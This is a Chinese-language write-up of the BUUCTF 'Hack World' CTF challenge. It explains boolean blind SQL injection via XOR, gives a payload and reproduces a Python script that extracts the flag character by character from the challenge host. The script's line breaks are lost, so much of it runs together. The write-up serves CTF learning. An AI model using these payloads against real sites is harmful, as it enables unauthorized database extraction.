1. 程式人生 > 實用技巧 >buuctf-web Hack World 1

buuctf-web Hack World 1

我們開啟環境後發現這還是一道sql注入題

我首先隨便試了一下,

先輸入了0 顯示Error Occured When Fetch Result.

輸入1,顯示Hello, glzjin wants a girlfriend.

2的話是Do you want to be my girlfriend?

3顯示Error Occured When Fetch Result.

這應該是輸入大於2的資料就出錯了。我們再進行測試的時候發現它過濾了許多關鍵字

然後我在裡什麼都沒輸入,直接提交的話會出現bool(false),百度了一手,發現盲注一般分為布林盲注和基於時間的盲注和報錯的盲注。而這種就是布林的盲注

布林型:頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料

Length()函式 返回字串的長度
Substr()擷取字串
Ascii()返回字元的ascii碼
sleep(n):將程式掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

這是進行布林盲注的時候可能需要的一些函式,這時需要運用異或

然後我們用

1^1返回的是Hello, glzjin wants a girlfriend.

1^0返回的是Error Occured When Fetch Result.

然後我們可以通過上面的那些函式構造Pyload:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

這樣回顯就是正確的。

然後我查看了一手大佬的wp,看了一些人家寫的指令碼。

#!/usr/bin/python
#-*-coding:utf-8 -*-
import requests
import re

def flag_get(start,f,url):    #確定start位的字元
    a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
    data 
= {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 def flag_find(start,f,url): #確定 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))' data = {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 if __name__ == '__main__': url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' flag_kouhao=125 flag='' num=1 #從第num位開始爆破 while 1: start=32 #ascii的起始範圍(10進位制) last=126 #ascii的終止範圍(10進位制) mid=int((start+last)/2) while 1: if(flag_get(num,flag_kouhao,url)): flag=flag+'}' print('flag is :'+flag) exit(1) print('strat is '+str(start)) print(' mid is '+str(mid)) print('last is '+str(last)) print('****************************************') if(flag_find(num,mid,url)): start=mid mid=int((start+last)/2) if ((last-start)<5): break else: last=mid mid=int((start+last)/2) if ((last-start)<5): break print(start) print(last) print('****************************************') for i in range(start,last+1): print(i) if(flag_get(num,i,url)): f=chr(i) flag=flag+f print('****************************************') print(' num is '+str(num)) print('char is '+f) print('flag is '+flag) print('****************************************') break num=num+1 print(flag)

一開始跑的時候提示我

這樣出錯了。我也不知為什麼。然後百度了一手,然後再試的時候結果就正確了。這一步讓我很迷茫其實。